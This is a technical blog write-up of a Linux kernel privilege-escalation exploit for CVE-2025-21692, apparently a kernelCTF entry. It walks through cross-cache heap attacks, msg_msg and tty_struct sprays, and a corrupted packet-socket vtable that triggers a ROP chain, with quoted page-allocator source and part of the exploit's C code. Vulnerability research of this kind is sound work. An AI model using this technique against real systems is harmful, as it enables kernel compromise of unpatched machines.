<p>The process for writing into a packet sock is extremely simple, at the point where we write it into our <code class="language-plaintext highlighter-rouge">msg_msg-&gt;next</code>, we also write to <code class="language-plaintext highlighter-rouge">skc_prot</code> of a packet sock. This way both are the same, and both will end up pointing into kmalloc-cg-1k after all’s said and done. You may be able to see where this is going; After leaks are acquired, we release our <code class="language-plaintext highlighter-rouge">tty_struct</code>s, and in their place spray more <code class="language-plaintext highlighter-rouge">msg_msg</code>, thus controlling the vtable contents. At this point its as simple as releasing all our packet sockets and crossing our fingers.</p>

<p>Of course, it wouldn’t be this simple.</p>
<h2 id="exploit-flow-walkthrough">Exploit flow walkthrough</h2>

<p>But before we address that, here’s a recap of what an (idealistic) exploit flow looks like.</p>

<ol>
  <li>Use the bug to underflow the class and leak a quantum value corresponding to the <code class="language-plaintext highlighter-rouge">cl-&gt;alist</code> value.</li>
  <li>Perform a cross cache attack, migrating kmalloc-2k to kmalloc-cg-2k
    <ul>
      <li>Now the leak we just got refers to kmalloc-cg-2k instead of normal 2k.</li>
    </ul>
  </li>
  <li>Create another qdisc, at the same time setting up for a second cross cache attach</li>
  <li>Use the bug to perform a pointer write into one of the sprayed msg_msg.
    <ul>
      <li>These are the msg’s we sprayed in step 2</li>
    </ul>
  </li>
  <li>Iterate over the messages and receive a message from all of our msg queues until we find the pointer we just wrote.
    <ul>
      <li>This just involves checking if the msg content matches what we sent earlier - if it doesnt, we found our controlled message.</li>
      <li>Note that when receiving we aren’t using MSG_COPY so the message objects are being free’d on receive.</li>
    </ul>
  </li>
  <li>If we find our ptr, break out of the loop, otherwise send a message down the queue of exactly the same size to reclaim the object.
    <ul>
      <li>This is done so if we do find our controlled message we release it and can then reclaim it outside the loop.
        <ul>
          <li>If we were to just free every message without reclaiming it could be difficult to reallocate the exact message we want when we do find it.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Use the pointer write primitive again to write <code class="language-plaintext highlighter-rouge">cl-&gt;alist</code> into the <code class="language-plaintext highlighter-rouge">next</code> msg_msgseg ptr of our controlled msg
    <ul>
      <li>This will be used for leaking more data later</li>
    </ul>
  </li>
  <li>Add a child qdisc to our main qdisc, use the bug to get a leak from this qdisc.
    <ul>
      <li>This is simply so we have a leak into the CURRENT kmalloc-2k cache.</li>
    </ul>
  </li>
  <li>Spray PF_PACKET datagram sockets.
    <ul>
      <li>One of these will (ideally) end up adjacent to the child qdisc, meaning we now know their location.</li>
    </ul>
  </li>
  <li>Delete the child qdisc
    <ul>
      <li>We dont need it anymore
        <ul>
          <li>:(</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Use the pointer write primitive yet again to write <code class="language-plaintext highlighter-rouge">cl-&gt;alist</code> into the area which <em>should</em> overlap with the <code class="language-plaintext highlighter-rouge">skc_prot</code> member of one of the sprayed sockets.
    <ul>
      <li>This is simply a vtable with some other data members of type <code class="language-plaintext highlighter-rouge">struct proto</code>.
        <ul>
          <li>You may be able to see where this is going…</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Delete our main qdisc, and perform steps to initiate cross cache
    <ul>
      <li>At this point after this cross cache we have a message whos <code class="language-plaintext highlighter-rouge">next</code> seg ptr points into kmalloc-cg-2k and the same for <code class="language-plaintext highlighter-rouge">skc_proto</code>, which points to the same location.</li>
    </ul>
  </li>
  <li>SPRAY BILLIONS (9999) OF MSGs.
    <ul>
      <li>One of them should reclaim the allocation where our main qdisc was</li>
      <li>This means the old <code class="language-plaintext highlighter-rouge">msg-&gt;next</code> now points into another msg</li>
      <li>Each message has its queue idx embedded in its contents so we can find which sprayed msg specifically is overlapping.</li>
    </ul>
  </li>
  <li>Receive (and MSG_COPY) a message from our original queue, this should print out the contents of one of the sprayed message.
    <ul>
      <li>This contents also contains its index in the queue.</li>
    </ul>
  </li>
  <li>Receive and release all the messages in the overlapping msg queue.</li>
  <li>Spray <code class="language-plaintext highlighter-rouge">tty_struct</code> objects
    <ul>
      <li>You defo see the money now huh</li>
      <li>These will replace the messages we just released.</li>
    </ul>
  </li>
  <li>At this point, the old <code class="language-plaintext highlighter-rouge">msg-&gt;next</code> (should) point into a <code class="language-plaintext highlighter-rouge">tty_struct</code> object, so we receive (MSG_COPY) from this queue. The latter portion of the message contains kernel text and data leaks from said object.
    <ul>
      <li>Very very very fortunately for us there was NOT a pointer at the start of the “segment”, so this leak works fine.</li>
    </ul>
  </li>
  <li>Delete all the <code class="language-plaintext highlighter-rouge">tty_struct</code>s and spray MORE messages in their place.
    <ul>
      <li>These messages all contain the same thing: the fake <code class="language-plaintext highlighter-rouge">skc_prot</code> with a stack pivot gadget overlapping <code class="language-plaintext highlighter-rouge">release_cb</code> and a ropchain.</li>
    </ul>
  </li>
  <li>Finally, release all the <code class="language-plaintext highlighter-rouge">PF_PACKET</code> sockets. One of these <em>should</em> have had its <code class="language-plaintext highlighter-rouge">skc_prot</code> corrupted, and will set off the ropchain.</li>
</ol>

<p>All in all I think we can agree - far too many cross cache attacks, and not enough message sprays. Life’s too short not to fill the heap with <code class="language-plaintext highlighter-rouge">msg_msg</code>s and cause an OOM panic.
	- This Definitely DIDNT happen a good few times.</p>

<h2 id="vaulted-by-a-ram-increase">Vaulted by a ram increase</h2>

<p>This was the original plan for the exploit, but owing to some page shenanigans this had to be amended slightly. When increasing qemu’s RAM from 256M to 2G, I ran into an issue where my second cross cache, wherein I attempted to migrate a kmalloc-2k cache to kmalloc-cg-1k (for steps 16 &amp; 17) simply didn’t work, no matter how many objects I sprayed. This was a whole saga, at one point I <em>thought</em> it was fixed but then realized I had changed the memory back to 256M and forgotten to revert back to 2G, very very silly.</p>

<p>I asked around in the kernelCTF discord server, which seems to be a tried and tested technique (new heap tech unlocked I call it house-of-help). It turned out something quite interesting had happened to my page:
<img src="../assets/img/CVE-2025-21692-pcp.png" alt="" /></p>

<h3 id="per-cpu-list">Per cpu list???</h3>
<p>It made sense, our page was stuck somewhere we couldnt get at, but I was a little confused at this as I had heard the concept of a per cpu lists before – the cpu partial list must be overcome to successfully cross cache, but I had no idea of the working and function of the per cpu <strong>page</strong> freelist. You can skip this section if uninterested as there will be a fair amount of waffling.</p>

<p>First, per cpu? Its obvious of course from the name - but I wanted to ensure my understanding was correct. Per CPU variables have a copy existing for every processor. This can be used as a macro in a variable declaration. For example see the declaration of pcp list itself on the <code class="language-plaintext highlighter-rouge">zone</code> struct in <code class="language-plaintext highlighter-rouge">mmzone.h</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">per_cpu_pages</span>	<span class="n">__percpu</span> <span class="o">*</span><span class="n">per_cpu_pageset</span><span class="p">;</span>
</code></pre></div></div>

<p>Second, how? How and why did our page end up in the PCP list instead of coming back to us? When freeing a page, if we have a PCP for this CPU (idk a situation this wouldnt be the case) the <code class="language-plaintext highlighter-rouge">free_unref_page_commit</code> function will be called [1] :</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * Free a pcp page
 */</span>
<span class="kt">void</span> <span class="nf">free_unref_page</span><span class="p">(</span><span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="n">page</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">order</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">__maybe_unused</span> <span class="n">UP_flags</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">per_cpu_pages</span> <span class="o">*</span><span class="n">pcp</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">zone</span> <span class="o">*</span><span class="n">zone</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">pfn</span> <span class="o">=</span> <span class="n">page_to_pfn</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>
	<span class="kt">int</span> <span class="n">migratetype</span><span class="p">,</span> <span class="n">pcpmigratetype</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">free_unref_page_prepare</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">pfn</span><span class="p">,</span> <span class="n">order</span><span class="p">))</span>
		<span class="k">return</span><span class="p">;</span>

	<span class="cm">/*
	 * We only track unmovable, reclaimable and movable on pcp lists.
	 * Place ISOLATE pages on the isolated list because they are being
	 * offlined but treat HIGHATOMIC and CMA as movable pages so we can
	 * get those areas back if necessary. Otherwise, we may have to free
	 * excessively into the page allocator
	 */</span>
	<span class="n">migratetype</span> <span class="o">=</span> <span class="n">pcpmigratetype</span> <span class="o">=</span> <span class="n">get_pcppage_migratetype</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">migratetype</span> <span class="o">&gt;=</span> <span class="n">MIGRATE_PCPTYPES</span><span class="p">))</span> <span class="p">{</span>
		<span class="c1">// ...</span>
	<span class="p">}</span>

	<span class="n">zone</span> <span class="o">=</span> <span class="n">page_zone</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>
	<span class="n">pcp_trylock_prepare</span><span class="p">(</span><span class="n">UP_flags</span><span class="p">);</span>
	<span class="n">pcp</span> <span class="o">=</span> <span class="n">pcp_spin_trylock</span><span class="p">(</span><span class="n">zone</span><span class="o">-&gt;</span><span class="n">per_cpu_pageset</span><span class="p">);</span>
	<span class="c1">// [1]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">pcp</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">free_unref_page_commit</span><span class="p">(</span><span class="n">zone</span><span class="p">,</span> <span class="n">pcp</span><span class="p">,</span> <span class="n">page</span><span class="p">,</span> <span class="n">pcpmigratetype</span><span class="p">,</span> <span class="n">order</span><span class="p">);</span>
		<span class="n">pcp_spin_unlock</span><span class="p">(</span><span class="n">pcp</span><span class="p">);</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="n">free_one_page</span><span class="p">(</span><span class="n">zone</span><span class="p">,</span> <span class="n">page</span><span class="p">,</span> <span class="n">pfn</span><span class="p">,</span> <span class="n">order</span><span class="p">,</span> <span class="n">migratetype</span><span class="p">,</span> <span class="n">FPI_NONE</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="n">pcp_trylock_finish</span><span class="p">(</span><span class="n">UP_flags</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>

<p>This ends up linking our page into the PCP list - which is fine. Later on, when trying to allocate a page, we end up calling <code class="language-plaintext highlighter-rouge">__alloc_pages</code>, which calls <code class="language-plaintext highlighter-rouge">get_page_from_freelist</code> in its “fastpath”. This then calls <code class="language-plaintext highlighter-rouge">rmqueue</code>, which, you guessed it, removes a page from one of the freelists. This then ends up calling into <code class="language-plaintext highlighter-rouge">rmqueue_pcplist</code> - when the order is right [2].</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__no_sanitize_memory</span>
<span class="k">static</span> <span class="kr">inline</span>
<span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="nf">rmqueue</span><span class="p">(</span><span class="k">struct</span> <span class="n">zone</span> <span class="o">*</span><span class="n">preferred_zone</span><span class="p">,</span>
			<span class="k">struct</span> <span class="n">zone</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">order</span><span class="p">,</span>
			<span class="n">gfp_t</span> <span class="n">gfp_flags</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">alloc_flags</span><span class="p">,</span>
			<span class="kt">int</span> <span class="n">migratetype</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="n">page</span><span class="p">;</span>

	<span class="cm">/*
	 * We most definitely don't want callers attempting to
	 * allocate greater than order-1 page units with __GFP_NOFAIL.
	 */</span>
	<span class="n">WARN_ON_ONCE</span><span class="p">((</span><span class="n">gfp_flags</span> <span class="o">&amp;</span> <span class="n">__GFP_NOFAIL</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">order</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">));</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="n">pcp_allowed_order</span><span class="p">(</span><span class="n">order</span><span class="p">)))</span> <span class="p">{</span>
		<span class="c1">// [2]</span>
		<span class="n">page</span> <span class="o">=</span> <span class="n">rmqueue_pcplist</span><span class="p">(</span><span class="n">preferred_zone</span><span class="p">,</span> <span class="n">zone</span><span class="p">,</span> <span class="n">order</span><span class="p">,</span>
				       <span class="n">migratetype</span><span class="p">,</span> <span class="n">alloc_flags</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="n">page</span><span class="p">))</span>
			<span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="c1">// ...</span>
	<span class="k">return</span> <span class="n">page</span><span class="p">;</span>
</code></pre></div></div>

<p>This is where the problem begins, however. As Dino said, you CANNOT cross cache from the pcp list for different order pages [3].</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Lock and remove page from the per-cpu list */</span>
<span class="k">static</span> <span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="nf">rmqueue_pcplist</span><span class="p">(</span><span class="k">struct</span> <span class="n">zone</span> <span class="o">*</span><span class="n">preferred_zone</span><span class="p">,</span>
			<span class="k">struct</span> <span class="n">zone</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">order</span><span class="p">,</span>
			<span class="kt">int</span> <span class="n">migratetype</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">alloc_flags</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">per_cpu_pages</span> <span class="o">*</span><span class="n">pcp</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">list</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="n">page</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">__maybe_unused</span> <span class="n">UP_flags</span><span class="p">;</span>
	<span class="c1">// ...</span>
	<span class="cm">/*
	 * On allocation, reduce the number of pages that are batch freed.
	 * See nr_pcp_free() where free_factor is increased for subsequent
	 * frees.
	 */</span>
	<span class="n">pcp</span><span class="o">-&gt;</span><span class="n">free_factor</span> <span class="o">&gt;&gt;=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="c1">// [3]</span>
	<span class="n">list</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pcp</span><span class="o">-&gt;</span><span class="n">lists</span><span class="p">[</span><span class="n">order_to_pindex</span><span class="p">(</span><span class="n">migratetype</span><span class="p">,</span> <span class="n">order</span><span class="p">)];</span>
	<span class="n">page</span> <span class="o">=</span> <span class="n">__rmqueue_pcplist</span><span class="p">(</span><span class="n">zone</span><span class="p">,</span> <span class="n">order</span><span class="p">,</span> <span class="n">migratetype</span><span class="p">,</span> <span class="n">alloc_flags</span><span class="p">,</span> <span class="n">pcp</span><span class="p">,</span> <span class="n">list</span><span class="p">);</span>
	<span class="n">pcp_spin_unlock</span><span class="p">(</span><span class="n">pcp</span><span class="p">);</span>
	<span class="n">pcp_trylock_finish</span><span class="p">(</span><span class="n">UP_flags</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">page</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">__count_zid_vm_events</span><span class="p">(</span><span class="n">PGALLOC</span><span class="p">,</span> <span class="n">page_zonenum</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">order</span><span class="p">);</span>
		<span class="n">zone_statistics</span><span class="p">(</span><span class="n">preferred_zone</span><span class="p">,</span> <span class="n">zone</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">page</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can now see why this is; it will only ever give us <code class="language-plaintext highlighter-rouge">page</code>s with the same order and migrate type :(.</p>

<p>Now resuming from where we left off. It (our page) was indeed stuck (thanks dinosaurlover38 u da best). As part of the cross cache, steps 1 and 3 (see previous screenshot) were already being performed, so all that needed to happen was me releasing as many slabs as possible to trigger the code which would flush the per-cpu freelist:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">free_unref_page_commit</span><span class="p">(</span><span class="k">struct</span> <span class="n">zone</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="k">struct</span> <span class="n">per_cpu_pages</span> <span class="o">*</span><span class="n">pcp</span><span class="p">,</span>
				   <span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="n">page</span><span class="p">,</span> <span class="kt">int</span> <span class="n">migratetype</span><span class="p">,</span>
				   <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">order</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">high</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">pindex</span><span class="p">;</span>
	<span class="n">bool</span> <span class="n">free_high</span><span class="p">;</span>

	<span class="n">__count_vm_events</span><span class="p">(</span><span class="n">PGFREE</span><span class="p">,</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">order</span><span class="p">);</span>
	<span class="n">pindex</span> <span class="o">=</span> <span class="n">order_to_pindex</span><span class="p">(</span><span class="n">migratetype</span><span class="p">,</span> <span class="n">order</span><span class="p">);</span>
	<span class="n">list_add</span><span class="p">(</span><span class="o">&amp;</span><span class="n">page</span><span class="o">-&gt;</span><span class="n">pcp_list</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pcp</span><span class="o">-&gt;</span><span class="n">lists</span><span class="p">[</span><span class="n">pindex</span><span class="p">]);</span>
	<span class="n">pcp</span><span class="o">-&gt;</span><span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">order</span><span class="p">;</span>

	<span class="cm">/*
	 * As high-order pages other than THP's stored on PCP can contribute
	 * to fragmentation, limit the number stored when PCP is heavily
	 * freeing without allocation. The remainder after bulk freeing
	 * stops will be drained from vmstat refresh context.
	 */</span>
	<span class="n">free_high</span> <span class="o">=</span> <span class="p">(</span><span class="n">pcp</span><span class="o">-&gt;</span><span class="n">free_factor</span> <span class="o">&amp;&amp;</span> <span class="n">order</span> <span class="o">&amp;&amp;</span> <span class="n">order</span> <span class="o">&lt;=</span> <span class="n">PAGE_ALLOC_COSTLY_ORDER</span><span class="p">);</span>

	<span class="n">high</span> <span class="o">=</span> <span class="n">nr_pcp_high</span><span class="p">(</span><span class="n">pcp</span><span class="p">,</span> <span class="n">zone</span><span class="p">,</span> <span class="n">free_high</span><span class="p">);</span>
	<span class="c1">// [1]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">pcp</span><span class="o">-&gt;</span><span class="n">count</span> <span class="o">&gt;=</span> <span class="n">high</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">// [2]</span>
		<span class="n">free_pcppages_bulk</span><span class="p">(</span><span class="n">zone</span><span class="p">,</span> <span class="n">nr_pcp_free</span><span class="p">(</span><span class="n">pcp</span><span class="p">,</span> <span class="n">high</span><span class="p">,</span> <span class="n">free_high</span><span class="p">),</span> <span class="n">pcp</span><span class="p">,</span> <span class="n">pindex</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>When the <code class="language-plaintext highlighter-rouge">pcp-&gt;count</code> reaches <code class="language-plaintext highlighter-rouge">high</code> we set the release in motion, starting with <code class="language-plaintext highlighter-rouge">pcp-&gt;lists[pindex-1]</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">per_cpu_pages</span> <span class="p">{</span>
	<span class="n">spinlock_t</span> <span class="n">lock</span><span class="p">;</span>	<span class="cm">/* Protects lists field */</span>
	<span class="kt">int</span> <span class="n">count</span><span class="p">;</span>		<span class="cm">/* number of pages in the list */</span>
	<span class="kt">int</span> <span class="n">high</span><span class="p">;</span>		<span class="cm">/* high watermark, emptying needed */</span>
	<span class="kt">int</span> <span class="n">batch</span><span class="p">;</span>		<span class="cm">/* chunk size for buddy add/remove */</span>
	<span class="kt">short</span> <span class="n">free_factor</span><span class="p">;</span>	<span class="cm">/* batch scaling factor during free */</span>
<span class="cp">#ifdef CONFIG_NUMA
</span>	<span class="kt">short</span> <span class="n">expire</span><span class="p">;</span>		<span class="cm">/* When 0, remote pagesets are drained */</span>
<span class="cp">#endif
</span>
	<span class="cm">/* Lists of pages, one per migrate type stored on the pcp-lists */</span>
	<span class="k">struct</span> <span class="n">list_head</span> <span class="n">lists</span><span class="p">[</span><span class="n">NR_PCP_LISTS</span><span class="p">];</span>
<span class="p">}</span> <span class="n">____cacheline_aligned_in_smp</span><span class="p">;</span>

</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">lists</code> store references to <code class="language-plaintext highlighter-rouge">struct page</code>s, the comment implies 1 per migrate type but there’s a lil more to it:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define NR_LOWORDER_PCP_LISTS (MIGRATE_PCPTYPES * (PAGE_ALLOC_COSTLY_ORDER + 1))
#define NR_PCP_LISTS (NR_LOWORDER_PCP_LISTS + NR_PCP_THP)
</span></code></pre></div></div>

<p>We have a a list for each migrate type for every possible page block order. Meaning we can store all migrate type pages for all possible orders. Cool.</p>

<p><code class="language-plaintext highlighter-rouge">high</code>, the “high watermark” seems to refer to the total page capacity of the pcp list.</p>

<p>Although <code class="language-plaintext highlighter-rouge">pindex</code> is derived from the order and determines the first list to be drained in <code class="language-plaintext highlighter-rouge">free_pcppages_bulk</code>, every list <em>should</em> (in circumstances where <code class="language-plaintext highlighter-rouge">free_high</code> is true) end up drained in the end due to us passing <code class="language-plaintext highlighter-rouge">nr_pcp_free(pcp, high, free_high)</code> as <code class="language-plaintext highlighter-rouge">count</code> at [2].</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">free_pcppages_bulk</span><span class="p">(</span><span class="k">struct</span> <span class="n">zone</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">int</span> <span class="n">count</span><span class="p">,</span>
					<span class="k">struct</span> <span class="n">per_cpu_pages</span> <span class="o">*</span><span class="n">pcp</span><span class="p">,</span>
					<span class="kt">int</span> <span class="n">pindex</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">flags</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">order</span><span class="p">;</span>
	<span class="n">bool</span> <span class="n">isolated_pageblocks</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="n">page</span><span class="p">;</span>

	<span class="cm">/*
	 * Ensure proper count is passed which otherwise would stuck in the
	 * below while (list_empty(list)) loop.
	 */</span>
	<span class="n">count</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="n">pcp</span><span class="o">-&gt;</span><span class="n">count</span><span class="p">,</span> <span class="n">count</span><span class="p">);</span>

	<span class="cm">/* Ensure requested pindex is drained first. */</span>
	<span class="n">pindex</span> <span class="o">=</span> <span class="n">pindex</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>

	<span class="n">spin_lock_irqsave</span><span class="p">(</span><span class="o">&amp;</span><span class="n">zone</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span>
	<span class="n">isolated_pageblocks</span> <span class="o">=</span> <span class="n">has_isolate_pageblock</span><span class="p">(</span><span class="n">zone</span><span class="p">);</span>

	<span class="k">while</span> <span class="p">(</span><span class="n">count</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">list</span><span class="p">;</span>
		<span class="kt">int</span> <span class="n">nr_pages</span><span class="p">;</span>

		<span class="cm">/* Remove pages from lists in a round-robin fashion. */</span>
		<span class="k">do</span> <span class="p">{</span>
			<span class="k">if</span> <span class="p">(</span><span class="o">++</span><span class="n">pindex</span> <span class="o">&gt;</span> <span class="n">NR_PCP_LISTS</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
				<span class="n">pindex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
			<span class="n">list</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pcp</span><span class="o">-&gt;</span><span class="n">lists</span><span class="p">[</span><span class="n">pindex</span><span class="p">];</span>
		<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">list_empty</span><span class="p">(</span><span class="n">list</span><span class="p">));</span>

		<span class="n">order</span> <span class="o">=</span> <span class="n">pindex_to_order</span><span class="p">(</span><span class="n">pindex</span><span class="p">);</span>
		<span class="n">nr_pages</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">order</span><span class="p">;</span>
		<span class="k">do</span> <span class="p">{</span>
			<span class="kt">int</span> <span class="n">mt</span><span class="p">;</span>

			<span class="n">page</span> <span class="o">=</span> <span class="n">list_last_entry</span><span class="p">(</span><span class="n">list</span><span class="p">,</span> <span class="k">struct</span> <span class="n">page</span><span class="p">,</span> <span class="n">pcp_list</span><span class="p">);</span>
			<span class="n">mt</span> <span class="o">=</span> <span class="n">get_pcppage_migratetype</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>

			<span class="cm">/* must delete to avoid corrupting pcp list */</span>
			<span class="n">list_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">page</span><span class="o">-&gt;</span><span class="n">pcp_list</span><span class="p">);</span>
			<span class="n">count</span> <span class="o">-=</span> <span class="n">nr_pages</span><span class="p">;</span>
			<span class="n">pcp</span><span class="o">-&gt;</span><span class="n">count</span> <span class="o">-=</span> <span class="n">nr_pages</span><span class="p">;</span>

			<span class="cm">/* MIGRATE_ISOLATE page should not go to pcplists */</span>
			<span class="n">VM_BUG_ON_PAGE</span><span class="p">(</span><span class="n">is_migrate_isolate</span><span class="p">(</span><span class="n">mt</span><span class="p">),</span> <span class="n">page</span><span class="p">);</span>
			<span class="cm">/* Pageblock could have been isolated meanwhile */</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">isolated_pageblocks</span><span class="p">))</span>
				<span class="n">mt</span> <span class="o">=</span> <span class="n">get_pageblock_migratetype</span><span class="p">(</span><span class="n">page</span><span class="p">);</span>

			<span class="n">__free_one_page</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">page_to_pfn</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="n">zone</span><span class="p">,</span> <span class="n">order</span><span class="p">,</span> <span class="n">mt</span><span class="p">,</span> <span class="n">FPI_NONE</span><span class="p">);</span>
			<span class="n">trace_mm_page_pcpu_drain</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">order</span><span class="p">,</span> <span class="n">mt</span><span class="p">);</span>
		<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">count</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">list_empty</span><span class="p">(</span><span class="n">list</span><span class="p">));</span>
	<span class="p">}</span>

	<span class="n">spin_unlock_irqrestore</span><span class="p">(</span><span class="o">&amp;</span><span class="n">zone</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>My approach was to break on [1] in a debugger and inspect the value of <code class="language-plaintext highlighter-rouge">high</code> to see how many (order 3) page blocks would have to be released. Before anything happens in my exploit, I allocate many <code class="language-plaintext highlighter-rouge">msg_msg</code>s in kmalloc-cg-2k, enough that when all released they will flush the pcp list:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Filling</span>
<span class="kt">void</span> <span class="nf">make_slabs</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">msgq</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">pre_post</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">num_alloc</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">pre</span><span class="p">,</span>
                <span class="kt">uint32_t</span> <span class="n">post</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Make a bunch of 2k slabs for us to release later, hopefully will enable us</span>
  <span class="c1">// to release our qdisc slab from the percpu freelist Because the target is</span>
  <span class="c1">// also order-3, we must also release order 3. We should ideally call this</span>
  <span class="c1">// func BEFORE anything else in the program.</span>
  <span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="n">MAX_K2K_SZ</span><span class="p">];</span>
  <span class="n">memset</span><span class="p">(</span><span class="n">mtext</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="n">MAX_K2K_SZ</span><span class="p">);</span>
